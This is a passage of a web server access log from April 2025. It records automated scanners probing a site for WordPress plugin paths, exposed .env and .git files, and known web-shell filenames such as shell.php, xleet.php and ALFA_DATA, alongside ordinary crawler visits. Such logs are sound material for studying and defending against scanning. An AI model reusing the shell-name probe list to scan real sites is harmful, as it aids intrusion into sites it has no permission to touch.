/wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:05 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:06 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:07 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:09 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:10 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:11 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:12 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:13 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:14 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:14 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:15 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:16 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:18 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:21 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:23 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:24 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:26 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:27 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:28 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:03 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:03 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:04 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:05 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:06 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:07 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:09 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:12 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:14 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:16 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:17 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:19 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:21 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:22 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:23 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:24 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:25 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:25 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:27 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:28 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:28 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:29 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:30 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:31 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:32 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:33 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:34 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:35 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:35 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:36 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:37 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:38 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:38 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:39 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:39 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:40 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:41 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:42 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:43 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:43 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:44 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:46 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:47 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:48 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:50 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:50 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:52 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:53 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:54 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:54 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:55 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:56 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:56 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:57 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:58 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:58 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:59 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:00 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:01 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:02 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:02 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:03 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:04 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:05 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:06 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:07 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:08 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:09 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:10 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:11 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:12 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:13 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:15 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:15 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:16 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:17 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:18 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:20 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:22 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:24 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:25 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:27 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:29 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:31 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:33 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:51:35 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 17.241.219.112 - - [27/Apr/2025:20:59:23 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.219.112 - - [27/Apr/2025:20:59:27 -0400] "GET /blog-maintenance HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 5.167.100.108 - - [27/Apr/2025:21:02:07 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 154.83.103.201 - - [27/Apr/2025:21:09:32 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.201 - - [27/Apr/2025:21:09:33 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 185.242.177.19 - - [27/Apr/2025:21:10:54 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 17.241.75.122 - - [27/Apr/2025:22:03:17 -0400] "GET /content-writing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 54.36.149.40 - - [27/Apr/2025:22:08:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 198.181.163.253 - - [27/Apr/2025:22:19:37 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 195.191.219.132 - - [27/Apr/2025:22:29:30 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [27/Apr/2025:22:29:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [27/Apr/2025:22:29:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [27/Apr/2025:22:29:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 125.75.66.97 - - [27/Apr/2025:23:15:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 84.55.46.85 - - [27/Apr/2025:23:15:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 44.243.110.63 - - [27/Apr/2025:23:18:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 66.249.72.238 - - [27/Apr/2025:23:26:51 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.236 - - [27/Apr/2025:23:26:52 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 35.90.31.104 - - [27/Apr/2025:23:32:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 18.223.108.59 - - [27/Apr/2025:23:39:54 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 52.169.110.101 - - [27/Apr/2025:23:42:23 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:24 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:25 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:26 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:26 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:28 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:28 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:29 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:30 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:30 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:31 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:31 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:32 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:32 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:33 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:33 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:34 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:34 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:35 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:36 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:37 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:37 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:39 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:40 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:41 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:42 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:43 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:43 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:44 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:44 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:45 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:45 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:46 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:47 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:48 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:48 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:50 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:51 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:52 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:53 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:54 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:54 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:55 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:56 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:56 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:57 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:58 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:59 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:42:59 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:00 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:01 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:02 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:02 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:03 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:04 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:05 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:06 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:07 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:08 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:09 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:10 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:12 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:13 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:14 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:15 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:15 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:16 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:16 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:17 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:17 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:18 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:19 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:19 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:21 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:22 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:23 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:24 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:26 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:27 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:28 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:28 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:29 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:30 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.169.110.101 - - [27/Apr/2025:23:43:30 -0400] "GET 